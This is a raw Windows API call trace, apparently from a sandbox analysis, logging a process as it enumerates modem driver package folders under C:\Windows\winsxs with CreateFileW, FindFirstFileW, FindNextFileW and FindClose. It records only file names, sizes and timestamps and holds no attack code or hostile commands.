	[0108.453] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcm28.inf_31bf3856ad364e35_6.1.7600.16385_none_d130a4ccfd6ae450\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.453] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.453] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3992f020, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3992f020, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x397fe538, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21876, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcm28.inf", cAlternateFileName="")) returned 1
	[0108.453] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.453] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.454] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcodex.inf_31bf3856ad364e35_6.1.7600.16385_none_276f44de5e8e7007" (normalized: "c:\\windows\\winsxs\\amd64_mdmcodex.inf_31bf3856ad364e35_6.1.7600.16385_none_276f44de5e8e7007"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.454] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcodex.inf_31bf3856ad364e35_6.1.7600.16385_none_276f44de5e8e7007\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.454] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.454] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42899254, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x42899254, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x426d01f8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x65ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcodex.inf", cAlternateFileName="")) returned 1
	[0108.454] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.454] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.455] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcom1.inf_31bf3856ad364e35_6.1.7600.16385_none_7d622c7305197048" (normalized: "c:\\windows\\winsxs\\amd64_mdmcom1.inf_31bf3856ad364e35_6.1.7600.16385_none_7d622c7305197048"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.455] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcom1.inf_31bf3856ad364e35_6.1.7600.16385_none_7d622c7305197048\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.455] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.455] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d03a88a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d03a88a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3cf5605c, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xdea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcom1.inf", cAlternateFileName="")) returned 1
	[0108.455] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.455] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.455] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcommu.inf_31bf3856ad364e35_6.1.7600.16385_none_4d3b1a3089ccc445" (normalized: "c:\\windows\\winsxs\\amd64_mdmcommu.inf_31bf3856ad364e35_6.1.7600.16385_none_4d3b1a3089ccc445"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.455] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcommu.inf_31bf3856ad364e35_6.1.7600.16385_none_4d3b1a3089ccc445\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.455] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.456] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeba003, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3eeba003, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3ed17104, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x1d66, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcommu.inf", cAlternateFileName="")) returned 1
	[0108.456] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.456] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.456] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcomp.inf_31bf3856ad364e35_6.1.7600.16385_none_aaac94866321a3b9" (normalized: "c:\\windows\\winsxs\\amd64_mdmcomp.inf_31bf3856ad364e35_6.1.7600.16385_none_aaac94866321a3b9"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.456] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcomp.inf_31bf3856ad364e35_6.1.7600.16385_none_aaac94866321a3b9\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8ecad8, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3e8ecad8, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3e87a6c1, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2f12, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcomp.inf", cAlternateFileName="")) returned 1
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.457] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.457] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcpq.inf_31bf3856ad364e35_6.1.7601.17514_none_d13aa360cb6ad78e" (normalized: "c:\\windows\\winsxs\\amd64_mdmcpq.inf_31bf3856ad364e35_6.1.7601.17514_none_d13aa360cb6ad78e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.457] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcpq.inf_31bf3856ad364e35_6.1.7601.17514_none_d13aa360cb6ad78e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83ea0fd6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83ec7137, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83ec7137, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83ea0fd6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83ec7137, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83ec7137, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ca0955, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x82ca0955, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x82ca0955, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b140, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcpq.inf", cAlternateFileName="")) returned 1
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ca0955, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x82ca0955, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x82ca0955, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="usbser.sys", cAlternateFileName="")) returned 1
	[0108.457] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.457] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.458] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcpq2.inf_31bf3856ad364e35_6.1.7600.16385_none_6057e7ac6633be7a" (normalized: "c:\\windows\\winsxs\\amd64_mdmcpq2.inf_31bf3856ad364e35_6.1.7600.16385_none_6057e7ac6633be7a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.458] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcpq2.inf_31bf3856ad364e35_6.1.7600.16385_none_6057e7ac6633be7a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.458] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.458] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x361d74fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x361d74fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x360f2cce, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xdd5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcpq2.inf", cAlternateFileName="")) returned 1
	[0108.458] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.458] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.459] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcpv.inf_31bf3856ad364e35_6.1.7600.16385_none_fea0e3c58b51e611" (normalized: "c:\\windows\\winsxs\\amd64_mdmcpv.inf_31bf3856ad364e35_6.1.7600.16385_none_fea0e3c58b51e611"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.459] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcpv.inf_31bf3856ad364e35_6.1.7600.16385_none_fea0e3c58b51e611\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.459] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.459] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acf8571, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3acf8571, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3ac39ea0, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcpv.inf", cAlternateFileName="")) returned 1
	[0108.459] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.459] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.459] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcrtix.inf_31bf3856ad364e35_6.1.7600.16385_none_8a345ba26a11afd0" (normalized: "c:\\windows\\winsxs\\amd64_mdmcrtix.inf_31bf3856ad364e35_6.1.7600.16385_none_8a345ba26a11afd0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.459] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcrtix.inf_31bf3856ad364e35_6.1.7600.16385_none_8a345ba26a11afd0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.459] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.460] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d56f841, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d56f841, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d4b1170, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x5da6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcrtix.inf", cAlternateFileName="")) returned 1
	[0108.460] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.460] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.460] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxhv6.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_805d2b274b7bd877" (normalized: "c:\\windows\\winsxs\\amd64_mdmcxhv6.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_805d2b274b7bd877"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.460] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxhv6.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_805d2b274b7bd877\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
